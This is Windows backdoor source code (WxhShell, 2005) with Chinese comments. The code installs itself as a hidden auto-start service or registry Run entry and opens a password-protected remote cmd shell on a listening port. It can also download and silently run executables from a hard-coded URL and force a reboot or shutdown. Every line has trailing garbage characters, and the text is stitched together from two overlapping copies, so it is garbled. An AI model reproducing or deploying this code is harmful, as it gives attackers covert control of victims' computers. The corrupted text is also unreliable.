    } yS lN|8d  
    break; 8(&C0_yD  
    } b\H~Ot[i  
  // 关机 2I6c7H s  
  case 'd': { BQt!L1))  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TQYud'u/  
    if(Boot(SHUTDOWN)) mtmtOG_/=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =3""D{l  
    else { #^#N%_8  
    closesocket(wsh); eEupqOF*:W  
    ExitThread(0); R6CxNPRJ  
    } \tU91 VIj  
    break; O:#t> ;  
    } hA)3Ah*  
  // 获取shell LV'v7 2yUH  
  case 's': { Ij/c@#q.  
    CmdShell(wsh); P}JA"V&  
    closesocket(wsh); \)`\F$CF  
    ExitThread(0); 42 8kC,  
    break; =<R77rnY&  
  } V=.lpj9m  
  // 退出 aCy2 .Qn  
  case 'x': { =as]>?<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rVFAwbR  
    CloseIt(wsh); N!r@M."  
    break; e-\J!E'1F  
    } ,,b_x@y*  
  // 离开 980[]&(  
  case 'q': { $UO7AHk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]-["sw  
    closesocket(wsh); v"=^?5B  
    WSACleanup(); lbTz  
    exit(1); q'd6\G0 }  
    break; 3fn6W)v?  
        } 's!EAqCN  
  } ]D%D:>9|/  
  } <-X)<k  
u!X[xe;  
  // 提示信息 GS\-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kx$?IxZ  
} (m~MyT#S  
  } l% K9Ke  
~@MIG  
  return; [Gysx  
} =-`X61];M  
.\LWV=B  
// shell模块句柄 [m!$01=  
int CmdShell(SOCKET sock) qEX59v  
{ }=;N3Q" #y  
STARTUPINFO si; hH`yQGZ  
ZeroMemory(&si,sizeof(si)); 5H;*Nj@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jHTaG%oh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y#3m|b45n  
PROCESS_INFORMATION ProcessInfo; I?Eh 0fI  
char cmdline[]="cmd"; 5|wQeosXxI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hjaI&?w  
  return 0; q1`uS^3`  
} %\%1EZQ%  
}a|S gI  
// 自身启动模式 $l-j(=Md  
int StartFromService(void) Oa CkU  
{ |&h!#Q{7l  
typedef struct )6^b\`  
{ Vr`UF0_3q  
  DWORD ExitStatus; ke'p8Gz  
  DWORD PebBaseAddress; VqbMFr<k  
  DWORD AffinityMask; 9{?<.%  
  DWORD BasePriority; ,|?B5n&  
  ULONG UniqueProcessId; ^L<1S/~)  
  ULONG InheritedFromUniqueProcessId; L&q~5 9  
}   PROCESS_BASIC_INFORMATION; ps_CQh0  
ib*$3Fn~  
PROCNTQSIP NtQueryInformationProcess; 5"]PwC  
~+V]MT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SL>>]A,E<`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >c8zMd  
VBBqoyP h  
  HANDLE             hProcess; "?}QwtUW  
  PROCESS_BASIC_INFORMATION pbi; GVCyVt[!-  
l?Bv9k.^?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3eFD[c%mN  
  if(NULL == hInst ) return 0; ir3iW*5k  
l{_>?]S5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pg|q{fc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m -7^$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VS1gg4tCv  
z| i$eF;x3  
  if (!NtQueryInformationProcess) return 0; HC+(FymV  
$BkdC'D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,dK%[  
  if(!hProcess) return 0; ezC55nm  
eNi.d;8F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %ktU 51o  
Y')in7g  
  CloseHandle(hProcess); Eki7bT@/  
W~Eq_J?I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x]Q+M2g?  
if(hProcess==NULL) return 0; }us%G&A2u  
H2p1gb#  
HMODULE hMod; %~ZOQ%c1  
char procName[255]; S'B7C>i`#N  
unsigned long cbNeeded; C(7LwV  
Hg*6I%D[So  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xGPt5l<M&  
V?0|#=_mE  
  CloseHandle(hProcess); (*^_ wq-;  
/ QSK$ZDC  
if(strstr(procName,"services")) return 1; // 以服务启动 3[-L'!pOX3  
?v8B;="#w  
  return 0; // 注册表启动 VL7zU->  
} OfbM]:}<3  
) l0=j b  
// 主模块 j;J4]]R;o  
int StartWxhshell(LPSTR lpCmdLine) 2Q-kD?PO,  
{ `+k&]z$m  
  SOCKET wsl; \CX`PZ><  
BOOL val=TRUE; adHHnH`,  
  int port=0; 6(<M.U_ft  
  struct sockaddr_in door; b?h"a<7  
r6*0H/*  
  if(wscfg.ws_autoins) Install(); i,$*+2Z  
d+ql@e]  
port=atoi(lpCmdLine); /$/\$f$  
xa5I{<<U  
if(port<=0) port=wscfg.ws_port; D.)R8X  
,hYUxh45  
  WSADATA data; ^A;v|U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b"/P  
[;h@ q}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HVh+Z k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mY |$=n5X  
  door.sin_family = AF_INET; ~,m6g&>R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q@r8V&-<  
  door.sin_port = htons(port); m:ITyQ+  
E.}T.St  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M5[AA/@  
closesocket(wsl); "72 _Sw  
return 1; ^#vWdOlt  
} C(xdiQJh  
Qm^N}>e  
  if(listen(wsl,2) == INVALID_SOCKET) { ERCW5b[RT  
closesocket(wsl); n)^B0DnIk  
return 1; k%VV(P]sT  
} 0 \&4?  
  Wxhshell(wsl); vb\UP&Ip  
  WSACleanup(); Ub4j3`  
j]M $>2;  
return 0; eiJ $}\qJL  
7z5AI!s_  
} 83OOM;'  
V`G)8?%Vy  
// 以NT服务方式启动 u=p([ 5]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EX|Wd|aK  
{ m7~kRY514  
DWORD   status = 0; ]@C&Q,~q  
  DWORD   specificError = 0xfffffff; v>;6pcp[F  
Z  r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S^a")U4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qIuY2b`6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s{'r'`z.  
  serviceStatus.dwWin32ExitCode     = 0; sMs 0*B-[  
  serviceStatus.dwServiceSpecificExitCode = 0; bt-y6,> +E  
  serviceStatus.dwCheckPoint       = 0; u4rGe!  
  serviceStatus.dwWaitHint       = 0; 'HH[[9Q  
zxT&K|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u\Tq5PYXt  
  if (hServiceStatusHandle==0) return; .ie\3q)  
Xj.6A,}^  
status = GetLastError(); qMmh2a&  
  if (status!=NO_ERROR) yI)~- E.  
{ O F2*zU7M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3K_J"B*7  
    serviceStatus.dwCheckPoint       = 0; h/QZcA  
    serviceStatus.dwWaitHint       = 0; 65)/|j+  
    serviceStatus.dwWin32ExitCode     = status; *)T},|Gc  
    serviceStatus.dwServiceSpecificExitCode = specificError; ysu"+J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l)4KX{Rz{A  
    return; "2o)1G  
  } ")i4w{_y  
.?@$Rd2@W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j_j~BXhIS  
  serviceStatus.dwCheckPoint       = 0; i%:oO KI  
  serviceStatus.dwWaitHint       = 0; /MosE,7l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wHEt;rc(  
} L|u\3.:  
OLXG0@  
// 处理NT服务事件,比如:启动、停止 ,1a6u3f,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 18zv]v %  
{ 1I<fp $ h  
switch(fdwControl) u?&P6|J&  
{ S)>L 0^M1  
case SERVICE_CONTROL_STOP: ;mjk`6p  
  serviceStatus.dwWin32ExitCode = 0; [K9l>O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p>Qzz`@e  
  serviceStatus.dwCheckPoint   = 0; -V%"i,t  
  serviceStatus.dwWaitHint     = 0; 4`7N}$j#,  
  { dNUi|IYm$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p?>(y  
  } }} J?, >g  
  return; bd5\Rt  
case SERVICE_CONTROL_PAUSE: pi 7W8y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :uSo 2d  
  break; Uz} #.  
case SERVICE_CONTROL_CONTINUE: AU OL?st  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AD_")_B|i  
  break;  zN: VT&  
case SERVICE_CONTROL_INTERROGATE: Tuo`>ZA  
  break; RpOGY{[)[  
}; cGIxE[n'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ 4#q  
} 0r*E$|zZ  
.hzzoLI2  
// 标准应用程序主函数 zn@<>o8hU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X3-pj<JLY  
{ #.'0DWT \-  
!D!~4h)  
// 获取操作系统版本 wqkD  
OsIsNt=GetOsVer(); ZUyG }6)J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V|13%aE_v  
G3 rTzMO  
  // 从命令行安装 YC8wo1;Y!  
  if(strpbrk(lpCmdLine,"iI")) Install(); J<'[P$D  
lm i,P-Q  
  // 下载执行文件 |-a5|3  
if(wscfg.ws_downexe) { k Pi%RvuQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U0 nSI  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;wK;  
} MxQhkY-=  
Ye% e!  
if(!OsIsNt) { ikX"f?Q;S2  
// 如果时win9x,隐藏进程并且设置为注册表启动 BiT #bg  
HideProc(); 9~n`6;R  
StartWxhshell(lpCmdLine);  sC1Mwx  
} eyUguA<lK\  
else N?hQ53#3  
  if(StartFromService()) *?x$q/a  
  // 以服务方式启动 zl^ %x1G  
  StartServiceCtrlDispatcher(DispatchTable); &kUEnwQ -  
else duFVh8  
  // 普通方式启动 =PYfk6j9  
  StartWxhshell(lpCmdLine); =(2y$,6g?  
4'upbI  
return 0; Oi%\'biM  
} e=Ko4Ao2y  
<`rmQ`(}s  
1 j"G~TM  
P{fT5K|  
=========================================== ~" |MwR!0  
`?E|frz[  
M(8dKj1+  
n_QSuh/Wn  
)O\w'|$G  
QxS] 6hA  
" w"ZngrwBl  
ndg1E;>  
#include <stdio.h> SQ'\Kd=  
#include <string.h> VzD LGLH  
#include <windows.h> J_ NY:B  
#include <winsock2.h> '2Q[g0VR  
#include <winsvc.h> {*mf Is  
#include <urlmon.h> K</EVt,U~  
#N Qpr  
#pragma comment (lib, "Ws2_32.lib") 6Cw+  
#pragma comment (lib, "urlmon.lib") /5:2g# S4  
epN> ;e z  
#define MAX_USER   100 // 最大客户端连接数 _E'F   
#define BUF_SOCK   200 // sock buffer 6<1 2j7  
#define KEY_BUFF   255 // 输入 buffer /Js A[}.6  
kZ<0|b  
#define REBOOT     0   // 重启 `(tVwX4  
#define SHUTDOWN   1   // 关机 IR JN  
la4 #2>#WZ  
#define DEF_PORT   5000 // 监听端口 PWciD '!  
6`Hd)T5{w  
#define REG_LEN     16   // 注册表键长度 gxnIur)  
#define SVC_LEN     80   // NT服务名长度 }a O6%  
|BGB60}]f  
// 从dll定义API O|K-UTWH%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MrjgV+P}[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5"sd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CWT#1L=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]2E#P.-!b  
+MZsL7%  
// wxhshell配置信息 dCA| )  
struct WSCFG { P* X^)R  
  int ws_port;         // 监听端口 oZ,J{I!L  
  char ws_passstr[REG_LEN]; // 口令 B7x( <!B  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5PY4PT=G  
  char ws_regname[REG_LEN]; // 注册表键名 ;k ?Z,M:  
  char ws_svcname[REG_LEN]; // 服务名 FEY_(70  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [=<vapZt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uA-1VwW+N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S)LvYOOB@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nA*U drcn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4y*"w*L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nk63F&J7e  
(aC~0 #4  
}; `D/<*e,#  
W&~\@j]!D  
// default Wxhshell configuration =[JstiT?E  
struct WSCFG wscfg={DEF_PORT, ycq+C8J+Ep  
    "xuhuanlingzhe", n(uzqd  
    1, b~$8<\  
    "Wxhshell", |j}D2q=  
    "Wxhshell", b:WA}x V  
            "WxhShell Service", N\l|3~  
    "Wrsky Windows CmdShell Service", 5ENU}0W  
    "Please Input Your Password: ", h"0)g :\  
  1, .;\uh$c  
  "http://www.wrsky.com/wxhshell.exe", B4@1WZn<8  
  "Wxhshell.exe" []lMv ZW  
    }; L"KKW c  
knfEbH  
// 消息定义模块 <-6f}wN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %$D n);6=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VLPPEV-u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Tp @;[!3  
char *msg_ws_ext="\n\rExit."; zMke}2  
char *msg_ws_end="\n\rQuit."; FEH+ PKSc  
char *msg_ws_boot="\n\rReboot..."; |)VNf .aJZ  
char *msg_ws_poff="\n\rShutdown..."; Qli#=0{`  
char *msg_ws_down="\n\rSave to "; XX7zm_>+  
C'~E q3  
char *msg_ws_err="\n\rErr!"; lVv'_9yg  
char *msg_ws_ok="\n\rOK!"; d\ I6Wn  
|.*nq  
char ExeFile[MAX_PATH]; GIb,y,PDB  
int nUser = 0; ~4+ICCbH  
HANDLE handles[MAX_USER]; ]z O6ESH  
int OsIsNt; ;fW`#aE  
/ Q| Z&-c  
SERVICE_STATUS       serviceStatus; ++sbSl)Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BT)PD9CN(  
:F8h}\a*  
// 函数声明 \G0YLV~>P  
int Install(void); |.z4VJi4  
int Uninstall(void); {uDH-b(R  
int DownloadFile(char *sURL, SOCKET wsh); qTrM*/m:]L  
int Boot(int flag); |2E:]wT}qg  
void HideProc(void); ToK=`0#LNK  
int GetOsVer(void); ~|G`f\Ln"  
int Wxhshell(SOCKET wsl); 4|&_i)S-Y  
void TalkWithClient(void *cs); `@xnpA]l  
int CmdShell(SOCKET sock); f AY(ro9Q(  
int StartFromService(void); 7@R^B=pb  
int StartWxhshell(LPSTR lpCmdLine); B&QEt[=s  
6&+}Hhe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0.\}D:x(z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x) jc  
)3f<0C>  
// 数据结构和表定义 K=! C\T"I%  
SERVICE_TABLE_ENTRY DispatchTable[] =  :yw8_D3  
{ "!Qi$ ]  
{wscfg.ws_svcname, NTServiceMain}, NQxx_3*4O  
{NULL, NULL} D GL=\  
}; wg+[T;0S  
j #~ S"t  
// 自我安装 XRmE  
int Install(void) \_(|$Dhq  
{ nx(jYXVT  
  char svExeFile[MAX_PATH]; 0.S7uH%"  
  HKEY key; C#V_Gb  
  strcpy(svExeFile,ExeFile); }uwZS=pw  
/PVx  
// 如果是win9x系统,修改注册表设为自启动 U2)?[C1q{  
if(!OsIsNt) { g"~`\ xhx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EQe$~}[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sd F+b+P]  
  RegCloseKey(key); J%]5C}v \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1#3eY? Nb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K]1| #`n  
  RegCloseKey(key); b")O#v.  
  return 0; Z;z,dw  
    } #@' B\!<@=  
  } JXjH}C  
} ^RE[5h6^q  
else { L&KL]n  
O=eU38n:5u  
// 如果是NT以上系统,安装为系统服务 Kum" }ux  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^M1jv(  
if (schSCManager!=0) Uw]o9 e0S  
{ t7yvd7  
  SC_HANDLE schService = CreateService Py?e+[cN  
  ( |{ =Jp<} s  
  schSCManager, I s|_  
  wscfg.ws_svcname, Y(] W+k<  
  wscfg.ws_svcdisp, iSX HMp4V  
  SERVICE_ALL_ACCESS, 1LaJ hrp?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q;ZV`D/FA  
  SERVICE_AUTO_START, e7y,zcbv  
  SERVICE_ERROR_NORMAL, <isU D6TC  
  svExeFile, ._]*Y`5)d  
  NULL, m70AWG  
  NULL, Aj]/A  
  NULL, +f$ {r7  
  NULL, 1,:QrhC  
  NULL t%%zuqF`  
  ); 6-~ZOMlV  
  if (schService!=0) >7)QdaB  
  { rmi&{o:  
  CloseServiceHandle(schService); aeVd.`lxM  
  CloseServiceHandle(schSCManager);  '9'f\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /oZvm   
  strcat(svExeFile,wscfg.ws_svcname); 9@?|rj e9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uJ=d!Kn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WZn"I& Z  
  RegCloseKey(key); ~1XC5.*-  
  return 0; nI4oQE  
    } /l$fQ:l  
  } bxPJ5oT  
  CloseServiceHandle(schSCManager); A>,kmU5  
} :fDzMD  
} q6hH]Q>w*  
0}YadNb7  
return 1; +U<.MVOo.  
}  k{'<J(Hb  
OJ7 Uh_;/  
// 自我卸载 uP$i2Cy  
int Uninstall(void) lKf kRyO_S  
{ 8QMMKO ui\  
  HKEY key; <Qr*!-Kc6  
PT~F ^8,)  
if(!OsIsNt) { QkWEVL@uM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fT{jD_Q+3  
  RegDeleteValue(key,wscfg.ws_regname);  ^Y!$WP  
  RegCloseKey(key); W4qnXD1n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^$mCF%e8H  
  RegDeleteValue(key,wscfg.ws_regname); 4`'Rm/)  
  RegCloseKey(key); dKP| TRd  
  return 0; 4uH} SG[  
  } ?9 W2ax-4  
} eoFG$X/PO  
} dNCd-ep  
else { 's5H_ah  
aO}p"-'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mI\[L2x  
if (schSCManager!=0) >l=jJTJ;q  
{ rLY I\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h#Mx(q  
  if (schService!=0) C?MKb D=K  
  { zlB[Eg^X  
  if(DeleteService(schService)!=0) { v9!] /]U^  
  CloseServiceHandle(schService); ny!80I  
  CloseServiceHandle(schSCManager); 8Ht=B,7T  
  return 0; J*zQ8\f=}  
  } vR pO0qG  
  CloseServiceHandle(schService);  %{UW!/  
  } zo8&(XS  
  CloseServiceHandle(schSCManager); *=]UWM~]  
} nv(6NV  
}  ;\f0II3  
+;)Xu}  
return 1; ~OLyG$JJ  
} ,,1y0s0`  
!b+!] 2~g}  
// 从指定url下载文件 P(o>UDy  
int DownloadFile(char *sURL, SOCKET wsh) T!pA$eE  
{ rWqr-"0S.  
  HRESULT hr; Z#l6BXK  
char seps[]= "/"; .Iz JJp  
char *token; (LMT'   
char *file; 6JeAXj1g+  
char myURL[MAX_PATH]; qVO,sKQ{  
char myFILE[MAX_PATH]; Ef@)y&hn  
U ]B-B+-  
strcpy(myURL,sURL); arS@l<79  
  token=strtok(myURL,seps); 5E 9R+N  
  while(token!=NULL) Bk@EQdn  
  { :c Er{U8  
    file=token; jwuSne  
  token=strtok(NULL,seps); Q'hs,t1<  
  } |eFaOL|  
~$rSy|19  
GetCurrentDirectory(MAX_PATH,myFILE); mVN\  
strcat(myFILE, "\\"); (dy:d^  
strcat(myFILE, file); "\]]?&  
  send(wsh,myFILE,strlen(myFILE),0); eht>4)  
send(wsh,"...",3,0); ;>fM?ae5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); biForT_no  
  if(hr==S_OK) PBcb*7W  
return 0; /n:Q>8^n'W  
else )cL`$h4DD  
return 1; 8A/rkoht*  
&" 5Yt&{  
} 91nB?8ZE6,  
yn20*ix{  
// 系统电源模块 *y` (^kyS  
int Boot(int flag) kw7E<aF!  
{ U'~]^F%eyu  
  HANDLE hToken; m( %PZ*s  
  TOKEN_PRIVILEGES tkp; (/9erfuJ  
J/,m'wH  
  if(OsIsNt) { I>6zX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m;TekJXm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W&[-QM8  
    tkp.PrivilegeCount = 1; 5{IbKj|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B?e] Ht  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r%>7n,+o  
if(flag==REBOOT) { OHnsfXO_V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) glkH??S  
  return 0; 7j(gW  
} 8wEJyAu2  
else { PCa0I^d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DK'S4%;Sp  
  return 0; Bt1v7M  
} 7 9k+R9m  
  } P?jI:'u!R.  
  else { e5"5 U7  
if(flag==REBOOT) { v`Ja Bn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^X"x,8}&V  
  return 0; A!uiM*"W  
} Jp_ :.4  
else { r Cz,XYV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tWQ$`<h  
  return 0; Qw"%Xk  
} (.wR!l# !  
} \ NKw,`/  
Q )8I(*  
return 1; H:WuMwD4  
} Zw<<p|{)<  
<^942y-=  
// win9x进程隐藏模块 9T1 - {s R  
void HideProc(void) V?jWp$  
{ #/_ VY.  
pwB>$7(_h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r]aI=w<(f  
  if ( hKernel != NULL ) WD*z..`  
  { tbfwgK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6uk}4bdvq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TQ%F\@"  
    FreeLibrary(hKernel); %ZDO0P !/  
  } sWKdqs  
=8"xQ>D62  
return; r029E-  
} 0< }BSv  
,,Ivey!kL  
// 获取操作系统版本 d7:=axo,  
int GetOsVer(void) Ka%#RNW  
{ i.KRw6  
  OSVERSIONINFO winfo; Qv]rj]%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lg{/5gQG  
  GetVersionEx(&winfo); !-&;t7R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >9yy91H  
  return 1; glBS|b$\:  
  else R:f ,g2  
  return 0; m9-=Y{&/  
} !HP=Rgh  
dVn_+1\L  
// 客户端句柄模块 Q]$pg5O  
int Wxhshell(SOCKET wsl) o]GZq..  
{ I\Cg-&e  
  SOCKET wsh; "{2niBx  
  struct sockaddr_in client; 58eO|c(  
  DWORD myID; ~]n=TEJ>  
1qm*#4x  
  while(nUser<MAX_USER) 9;L8%T (  
{ K<50>uG  
  int nSize=sizeof(client); r8[)Ccv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :YLurng/]  
  if(wsh==INVALID_SOCKET) return 1; k[@/N+;")`  
~]'yUd1gSZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gg Nvm  
if(handles[nUser]==0) Y n0iu$;n  
  closesocket(wsh); 1 (e64w@  
else .SNg2.  
  nUser++; EW+QVu@  
  } >t%@)]*N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IlB*JJnl  
.Sv/0&O  
  return 0; IA`Lp3Z  
} Q5sJ|]Bc  
yW"[}L h4  
// 关闭 socket FJT0lC  
void CloseIt(SOCKET wsh) %'S[f  
{ b"B:DDw00  
closesocket(wsh); @3S:W2k  
nUser--; SzfMQ@~  
ExitThread(0); _sY; dS/  
} &)_ z!  
1y,/|Y  
// 客户端请求句柄 3UUN@Tx  
void TalkWithClient(void *cs) >gz8,&  
{ [X>f;;h  
uH[:R vC0  
  SOCKET wsh=(SOCKET)cs; xLgZtLt9  
  char pwd[SVC_LEN]; \5Y<UJ Ki  
  char cmd[KEY_BUFF]; da@W6Ovx  
char chr[1]; }02(Y!Gh  
int i,j; ?I\,RiZkz^  
iJCv+p_f  
  while (nUser < MAX_USER) { 4U u`1gtz  
I~;H'7|e  
if(wscfg.ws_passstr) { -zI9E!24  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ka<J* k3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < Pi#-r.,  
  //ZeroMemory(pwd,KEY_BUFF); .1_kRy2*.  
      i=0; M|{NC`fa  
  while(i<SVC_LEN) { 0s RcA-9  
jdx T662q  
  // 设置超时 ~=|QPO(d  
  fd_set FdRead; p%K(dA  
  struct timeval TimeOut; t6lwKK  
  FD_ZERO(&FdRead); x0)WrDb  
  FD_SET(wsh,&FdRead); r\)bN4-g  
  TimeOut.tv_sec=8; cmU>A721  
  TimeOut.tv_usec=0; K_!:oe7%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9}H]4"f7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ +$l?2  
p+d O w #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i4XiwjCHN  
  pwd=chr[0]; {faIyKtW  
  if(chr[0]==0xd || chr[0]==0xa) {  M+:9U&>  
  pwd=0; 2.MY8}&WBu  
  break; 2. v<pqn  
  } > `0mn|+  
  i++; HV*;Yt  
    } 8pZOgh  
bR8`Y(=F9b  
  // 如果是非法用户,关闭 socket NOKU2d4 G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yqB!0) <  
} xErb11  
;uzLa%JQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E]=>@EX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J;4aghzY  
8;# yXlf  
while(1) { NFR>[L V  
\N$)Q.M  
  ZeroMemory(cmd,KEY_BUFF); +[_3h9BK  
!SIk9~rJ  
      // 自动支持客户端 telnet标准   sV\K[4HG  
  j=0; LWhP d\  
  while(j<KEY_BUFF) { ZDov2W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ia_l P  
  cmd[j]=chr[0]; "M3;>"`G  
  if(chr[0]==0xa || chr[0]==0xd) { (t@ :dW  
  cmd[j]=0; S5d  
  break; \f)GW$`  
  } %$i}[ U  
  j++; W+$G{XSr5C  
    } =%c\<<]aV  
PC|ul{[*}  
  // 下载文件 .t/@d(R  
  if(strstr(cmd,"http://")) { bZ``*{I/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q alrG2  
  if(DownloadFile(cmd,wsh)) Ivj=?[c|  
